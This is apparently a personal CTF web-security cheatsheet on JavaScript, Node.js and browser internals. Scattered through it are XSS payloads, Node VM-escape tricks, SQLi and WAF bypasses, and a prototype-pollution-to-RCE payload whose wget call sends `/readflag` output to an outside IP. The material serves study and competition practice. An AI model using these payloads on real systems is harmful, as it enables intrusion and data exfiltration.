--- title: 'javascript???' tags: cheatsheet --- :::spoiler TOC [TOC] ::: Javascript === ## spec & impl - 導讀 - [how to validate javascriptknowledge by Huli](https://blog.huli.tw/2022/01/30/how-to-validate-javascript-knowledge/) - spec - [ECMAScript](https://262.ecma-international.org/14.0/) - [Web Application APIs](https://wicg.github.io/controls-list/html-output/multipage/webappapis.html#webappapis) > multipage 和 one-page 內容有出入 - 實作 - javascript engine: https://github.com/v8/v8/tree/master/src - javascript 語法解析: https://github.com/v8/v8/blob/master/src/parsing/scanner-inl.h ## Inspect - Node.js prototype access - from [@maple3142](https://blog.maple3142.net/2023/09/17/seccon-ctf-2023-quals-writeups/#node-ppjail) - need to patch [v8 source code](https://github.com/v8/v8/blob/3f12c06ea0fadfd4a962fe6fd84693f01751a4f3/src/objects/js-objects.cc#L5264-L5274) ``` let props = '' Object.prototype.__proto__ = new Proxy( { __proto__: null }, { get: (target, prop, receiver) => { props += `GET ${prop}` + '\n' return Reflect.get(target, prop, receiver) }, __proto__: null } ) ``` - for Deno ``` const proxy = new Proxy( {}, { get: (target, prop, receiver) => { console.log('get', prop) return Reflect.get(target, prop, receiver) } } ) Object.setPrototypeOf(Function.prototype, proxy) Object.setPrototypeOf(Array.prototype, proxy) Object.setPrototypeOf(Error.prototype, proxy) Object.setPrototypeOf(String.prototype, proxy) Object.setPrototypeOf(Number.prototype, proxy) ``` ## syntax - Auto Semicolon Insertion (ASI) - https://slides.com/evanyou/semicolons#/18/0/0 - https://cjihrig.com/automatic_semicolon_insertion - `+-[(/` + restricted production - 可以用來繞過一些黑名單 - [label](https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Statements/label) - ployglot 一些協議開頭`cid:a=123` ``` a: //label a=123 http:console.log(7122) ``` - [delete](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete) - limit space: `delete[this][0][attr] // euqal 'delete window.attr', [this] === [window]` ### [Comments](https://262.ecma-international.org/14.0/#sec-comments) - in ECMAScript spec - `//` - `/*` - extended in v8 - `<!--` - `-->` - shebang - only work for first line`#! aaaaa` ### [Line Terminators](https://262.ecma-international.org/14.0/#sec-line-terminators) - \u000a,\u000d,\u2028,\u2029 - `eval("alert\u2029(1)")` ## Comparison - [The Abstract Equality Comparison Algorithm](https://262.ecma-international.org/5.1/#sec-11.9.3) ``` console.log(NaN != NaN) console.log(undefined == undefined) console.log(null == null) console.log(typeof NaN == 'number') console.log(typeof null == 'object') console.log(+0 == -0) console.log(null == undefined) // Return true if x and y refer to the same object. Otherwise, return false. var a = {}, b = {} console.log(a != b) console.log((()=>{}) != (()=>{})) console.log(14 == '0xe') // 14 == Number('0xe') ``` - [SameValueZero](https://tc39.es/ecma262/multipage/abstract-operations.html#sec-samevaluezero) - if is number, use [`Number::sameValueZero`](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-sameValueZero) - [`Array.prototype.includes`](https://tc39.es/ecma262/multipage/indexed-collections.html#sec-array.prototype.includes) - `[NaN].includes(NaN) // true` - [`IsStrictlyEqual`](https://tc39.es/ecma262/multipage/abstract-operations.html#sec-isstrictlyequal) 1. If Type(x) is not Type(y), return false. 2. If x is a Number, then a. Return [Number::equal(x, y)](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-equal). 3. Return SameValueNonNumber(x, y). - [Number::equal(x, y)](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-equal) - NaN != NaN - +0 == -0 - [Number::sameValue](https://tc39.es/ecma262/multipage/ecmascript-data-types-and-values.html#sec-numeric-types-number-sameValue) - NaN == NaN - +0 != -0 ## Regex - regex global matching [lastIndex](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex),flag `g`(global) and `y`(sticky) is [stateful](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test) ``` const r = /cjiso/g r.exec('cjiso') console.log(r.lastIndex) // 5 r.exec('cjiso') == null //true ``` - [dot match behavior](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/dotAll) flag `s` ``` /{.*}/.test("{evil\u2026}") // false /{.*}/s.test("{evil\n}") // true ``` > default `.` won't match below > U+000A LINE FEED (LF) ("\n") > U+000D CARRIAGE RETURN (CR) ("\r") > U+2028 LINE SEPARATOR > U+2029 PARAGRAPH SEPARATOR - [Get the last matched string](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/input) `RegExp.$_`, `RegExp.input` ``` /Flag/.test('Flag{a}') console.log(RegExp.input) // FLAG{a} ``` - [Get the last matched part](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch) `RegExp['$&']`, `RegExp.lastMatch` ``` var flag = 'Flag{aaa}' flag = flag.replace(/{.*}/,'$&') // FLAG{aaa} ``` - [Get the last parenthesized part](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastParen) `RegExp['$+']`,`RegExp.lastParen` ``` /(Flag){(a.)+}/.test('Flag{abacad}') console.log(RegExp['$+']) // ad ``` - [Get left, right context of matched](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/rightContext) ```RegExp.['$`']``` (left) ```RegExp.["$'"]```(right) ``` var tmpl = '<img a="{value}">' tmpl.replace('{value}',"$'<svg/onload=alert(1)>") ``` - [per line test](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/multiline) flag `m` ``` /^bbb.*$/.test("aaaa\nbbbb") // false /^bbb.*$/m.test("aaaa\nbbbb") // true ``` - ref - https://blog.huli.tw/2022/04/14/javascript-string-regexp-magic/ ## String - substring - If indexStart is greater than indexEnd, then the effect of substring() is as if the two arguments were swapped. ## Promise / async / await / then - await object: ``` a = {} a.then = ()=>{console.log('jizzz')} await a // call a.then /* result jizzz // stuck */ a = {} a.then = (cb)=>{console.log('jizzz');cb(123)} await a /* result jizzz // return 123 */ ``` - exploit `then` - [GoogleCTF 2022 Web/HORKOS](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) ## event - `securitypolicyviolation` ## devtool - https://developer.chrome.com/docs/devtools/console/utilities/ - copy(object) - monitor(function) - getEventListeners(object) - queryObjects(Constructor) - undebug(function) - $x(xpath) ## arguments - `arguments.callee.caller.arguments`拿到外層函式的 `arguments` ## char/encoding - `"ß".toUpperCase() // "SS"` - `"İ".toLowerCase().length == 2` - `"ffi".toUppserCase() == 'FFI'` - `al\u0065rt(7122) // alert(7122)` - `al\u{65}rt(7122) // al\u{65}rt(7122)` - unicode escape sequences [Where can escape sequences be used](https://exploringjs.com/es6/ch_unicode.html#_where-can-escape-sequences-be-used) ## Realm & Scope - https://github.com/weizman/awesome-JavaScript-realms-security/ ![](https://hackmd.io/_uploads/ByWPiCXWT.png) - 如果是 event handler ,context 是 `document` - `<svg/onload=eval(URL)>` ## Encode/Decode - [jsfuck](http://www.jsfuck.com/) - 6 char `()+[]!` - [Hieroglyphy](https://github.com/alcuadrado/hieroglyphy) - 8 char `()[]{}+!` - [jjencode - Encode any JavaScript program using only symbols](https://utf-8.jp/public/jjencode.html) - 18 char`[]()!+,\"$.:;_{}~=` - https://www.leletool.com/tool/jjencode/ - [aaencode - Encode any JavaScript program to Japanese style emoticons (^_^)](https://utf-8.jp/public/aaencode.html) - https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html ## [iteration protocols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols) - https://262.ecma-international.org/#sec-iteratorclose - pp 可以利用 `return` ## Error - https://v8.dev/docs/stack-trace-api - `Error.prepareStackTrace` - TODO - https://blog.maple3142.net/2023/09/17/seccon-ctf-2023-quals-writeups/#node-ppjail - https://blog.maple3142.net/2022/02/07/dicectf-2022-writeups/#undefined - https://github.com/aszx87410/blog/issues/107 ## Bypass - [Ways to alert(document.domain)](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309) ## Misc :::spoiler refs - [x] https://blog.huli.tw/2022/03/14/javascript-number/ ::: - [isNaN](https://tc39.es/ecma262/multipage/global-object.html#sec-isnan-number) vs. [Number.isNaN](https://tc39.es/ecma262/multipage/numbers-and-dates.html#sec-number.isnan) ![](https://hackmd.io/_uploads/B1kWSuVYq.png) ``` isNaN('abc') // true Number.isNaN('abc') // false ``` - `Object.hasOwn [ES2022] vs. Object.prototype.hasOwnProperty` - `obj.hasOwnProperty('prop')` 如果被覆蓋會出錯,用 `Object.hasOwn(obj,'prop')` 比較安全 - base64 - 忽略非法字元和第一個 `=` 後內容 - `Buffer.from('Y\xff W..FhYWFhYgo= bbbb','base64').equals( Buffer.from('YWFhYWFhYgo','base64'))` Nodejs === - [awesome-node.js](https://github.com/sindresorhus/awesome-nodejs) ## jail / VM escape - cjs 模組載入 [source code](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js) - `new Function` 裡需要使用 `global.process.mainModule.constructor._load` 來做 `require` - `import` 不在 `global` 裡,可繞過黑名單檢測 - cjs 執行時預處理被包在函式裡,所以 global return 不會出錯 [wrappers](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L251-L254), 且包在 `vm` [wrapSafe](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L1160-L1174) ``` module.constructor.wrapper (function (export, require, module, __filename, __dirname) { console.log("Trying to reach"); return; console.log("dead code"); }); ``` ``` #! node (function() {console.log(arguments.callee.caller.toString())}) /* function (exports, require, module, __filename, __dirname) { (function(){return console.log(arguments.callee.caller.toString())})() } */ 所以 (function() {return arguments.callee.caller.arguments[1]}) // require ``` - Function constructor `''.constructor.constructor` - `module.require.main === process.mainModule` - `process.mainModule.require` - `module.constructor._load` - `module.constructor.Module._load` - `module.constructor.Module._cache`: 拿到載入的 user module - 同 context 下汙染 prototype 蓋掉過濾檢查 - challenge - [SECCON2022 final CTF babybox](https://github.com/SECCON/SECCON2022_final_CTF/tree/main/jeopardy/web/babybox) ## SQLi - [Finding an unseen SQL Injection by bypassing escape functions in mysqljs/mysql](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4): `username=admin&password[password]=1` ## native modules - child_process - [maxBuffer default size 1024*1024](https://nodejs.org/dist/latest-v19.x/docs/api/child_process.html#child_processexecfilefile-args-options-callback) - [SECCON2022 easylfi2](https://github.com/SECCON/SECCON2022_final_CTF/tree/main/jeopardy/web/easylfi2) - prototype pollution to RCE Browser === - https://github.com/chromium/chromium/tree/main/third_party/blink/renderer/core ## DOM - 任何 Node element 都可以 traverse 到 `window` - [Node.ownerDocument](https://developer.mozilla.org/zh-TW/docs/Web/API/Node/ownerDocument): node access 頂層 document - [defaultView ](https://developer.mozilla.org/en-US/docs/Web/API/Document/defaultView): `document.defaultView` 指向 `window` - `Node img` - innerHTML resolved before inserted DOM is triggered [ref](https://github.com/terjanq/Tiny-XSS-Payloads/blob/5e8603974ef878e1230ae05e7f79b9467d862e2c/payloads.js#L93) ``` document.createElement('img').innerHTML = `<img/src=x onerror=alert(7122)>` ``` - `document.querySelector()` - return first match - `document.URL` - `document.cookie` - iframe 裡操作 document.cookie 是無效的,可以用來防止 document.cookie 被刪除 - [document.domain](https://developer.mozilla.org/en-US/docs/Web/API/Document/domain) - [will be immutable in chrome 106](https://developer.chrome.com/blog/immutable-document-domain/) - 只要兩個網站 document.domain 相同,就是 same-origin ``` // https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/ document.domain='intigriti.io'; a=document.createElement('iframe'); a.src='https://challenge-0422.intigriti.io/challenge/Window Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][ownerDocument][domain]=intigriti.io'; document.body.appendChild(a); a.onload=function(){ setTimeout(()=>{ a.contentWindow.document.body.innerHTML='<style onload=alert(document.domain)>'; // we need to change it back a.contentWindow.document.domain='challenge-0422.intigriti.io' },1000) } ``` - firefox/chrome 允許 FQDN 和 SSL match,導致基於 `document.domain` 的檢查會被繞過(burpsuite 不允許) - 訪問 `https://www.cjis.ooo.` - `Host: www.cjis.ooo.` - `document.domain === 'www.cjis.ooo.'` - [0623 intigriti xss challenge](https://challenge-0623.intigriti.io/) - `window.open` - [x] https://blog.huli.tw/2022/04/07/iframe-and-window-open/ - 產生 named window 以及獲取 window reference ``` <a target=""> <form target=""> <iframe name=""> <object name=""> <embed name=""> window.open(url, name) ``` - 偵測新開 window 的載入完成 - 載入完成前 `window.origin` 會是原 window,載入後才改變 - 利用禁止 cross origin property access 觸發 error 來偵測 :::spoiler code ```javascript // From Huli var start = new Date() var win = window.open('https://blog.huli.tw') run() function run() { try { win.origin setTimeout(run, 60) } catch(err) { console.log('loaded', (new Date() - start), 'ms') } } ``` ::: - 偵測某個 name 的 window 是否存在 :::spoiler code ```HTML <!-- From Huli --> <body> <a href="https://blog.huli.tw" target="blog">click</a> <button onclick="run()">run</button> <iframe name=f sandbox="allow-scripts allow-same-origin allow-popups-to-escape-sandbox allow-top-navigation"> </iframe> <script> function run(){ var w = f.open('xxx://abcde', 'blog') if (w) { console.log('blog window exists') } else { console.log('blog window not exists') } } </script> </body> ``` ::: - [ ] browsing context - 只有在同一 browsing context 才能 access 另一 target window - `location.ancestorOrigins` - 在 subframes 時可以獲得 ancester frame 的 origin Prototype Pollution === - 可以汙染 data attribute(data-*) e.g. `__proto__[sitekey]` 汙染 `data-sitekey` ## real world - https://github.com/BlackFan/client-side-prototype-pollution - [Web-CTF-Cheatsheet](https://github.com/w181496/Web-CTF-Cheatsheet#prototype-pollution) - [Prototype Pollution to RCE](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce) ## challenge - [Revenge of Intigriti 0422 Challenge Author Writeup](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/) - [Balsn CTF 2022 - 2linenodejs](https://gist.github.com/ginoah/e723a1babffae01ffa5149121776648c) ## ECMAScript - `IteratorClose` ``` @Ark Object.prototype.return = () => console.log(123) for (const x of [1]) { break // this is important } ``` ``` @Ark Object.prototype.return = () => console.log(123) const [x] = [1] ``` - `Error.prepareStackTrace` ## Browser - exploit `ownerDocument` or `defaultView` to traverse any value - try access to `Object.prototype` or `Array.prototype` - look carefully into `for ... in ` pattern - find gadget chain in included package ## Node.js - if `require` after pp - >=v15, set global variable for new require module via `contextExtensions` - gadget >= v14, from [tryself](https://github.com/nodejs/node/blob/5572f8fca0cfc3a2120817ad1b9f18edff3af261/lib/internal/modules/cjs/loader.js#L526-L531), [Balsn CTF 2022 - 2linenodejs](https://gist.github.com/ginoah/e723a1babffae01ffa5149121776648c) ``` // __dirname 和 parent 不能有 package.json, 在多數情況下無法用 { "__proto__":{ "data":{ "name":"./usage", "exports":"./preinstall.js" }, "path":"/opt/yarn-v1.22.19/", "shell":"sh", "contextExtensions":[ { "process":{ "env":{ "npm_config_global":"1", "npm_execpath":"" }, "execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo" } } ], } } ``` ``` /* a.js */ const a = {}; a['__proto__']['data'] = { exports: './exp.js', name: './usage' }; // name should equal to `require` module name // and it will load exp.js a['__proto__']['path'] = './'; a['__proto__']['contextExtensions'] = [{ asd: 7122 }]; // work > v15 require('./usage'); /* b.js */ console.log(asd) /* run */ $ node a.js 7122 ``` - [Node.js require() RCE复现](https://hujiekang.top/2022/10/11/NodeJS-require-RCE/) - pp env : [Abusing Environment Variables](https://blog.p6.is/Abusing-Environment-Variables/), [HACKING WITH ENVIRONMENT VARIABLES](https://www.elttam.com/blog/env/), [我是如何利用环境变量注入执行任意命令](https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html) - 2022 June pp spawn options ([commit](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)) 和 contextExtensions ([commit](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)) 被修掉,至少要有 options 傳入,否則會被設為 kEmptyObject - [`--import='data:text/javascript,console.log(1337)'`](https://portswigger.net/research/exploiting-prototype-pollution-in-node-without-the-filesystem?ref=weekly.infosecwriteups.com) ## jquery - https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md - 目前還有全版本(<=3.7.0)的 pp gadget - [只要引入 v1/2 ,有 pp 就可以自動觸發 xss](https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md#xoff-jquery-all-versions),因為套件會自動呼叫 `$(document).off()` - ## recaptcha - 設定 sitekey `__proto__[sitekey]`,無效的 sitekey 也可以觸發 Package === ## DOMPurify - `DOMPurify.removed` 可以拿到移除內容 - 會註冊 `dompurify` trustedtype policy - `a<style></style>` https://github.com/cure53/DOMPurify/issues/804 - ## HTML Sanitizer API - 只有 chrome 有實現 - config 可受 pp 攻擊 - 當 `allowUnknownMarkup=true` 可以設置 data-* 和其他 atrribute - 無法解析 script、iframe、非 HTML element (svg...) - 無法解析 on-event - ## qs.js - 使用的 `qs` 處理 query string 預設只會處理 1000 個, 傳送`'?'+'a=b'*1000+'waf=aaa'`時 `waf` 不會在 `req.query` 裡 [ref](https://github.com/ljharb/qs/blob/main/dist/qs.js#L60) - 影響框架:`express...` - 2022SECCONCTF - skipinx ## express - [req.get referer & referrer both work](https://github.com/expressjs/express/blob/74beeac0718c928b4ba249aba3652c52fbe32ca8/lib/request.js#L77-L80) ## React.js - 利用 `is` 屬性 XSS - https://blog.huli.tw/2022/04/10/picoctf-2022-writeup/ ## puppeteer > ref - 預設可以使用開新頁面 `window.open` - `page.goto` 可以吃 javascript scheme,domain 是在當前頁面下 - 新版 chrome headless mode 可自動觸發下載 - `Page.click()` 實作上是計算座標後點擊,可被 click hijacking - [without SOP to LFI](https://mizu.re/post/intigriti-october-2023-xss-challenge) - puppetter 預設開啟 devtools debug port, 30000 - 50000 - 如果 `--disable-web-security` 關掉 SOP 的話可以直接爆 port 存取 - debug port 可以開新頁面 `file://` - headless mode 預設觸發可以下載 `~/Downloads/xxxxx` - 惡意檔案可以讀取本地其他檔案並且跑 js - ## jquery - Chrome Devtools Protocol(CDP) === > ref https://mizu.re/post/intigriti-october-2023-xss-challenge - https://chromedevtools.github.io/devtools-protocol/ - leak target ID & port first - PDF generation tool (chromium <= 114): https://bugs.chromium.org/p/chromium/issues/detail?id=1385982 - No sandbox headless chrome (chromium <= 116): https://bugs.chromium.org/p/chromium/issues/detail?id=1458911 Connection Pool === - https://blog.ryotak.net/post/dom-based-race-condition/ Chrome:// === - https://0x44.xyz/blog/cve-2023-4369/ Anti-debugging === - https://github.com/weizman/awesome-javascript-anti-debugging Code Audit === ## Both 1. Run formatter to omit ASI problem ## Frontend ## Backend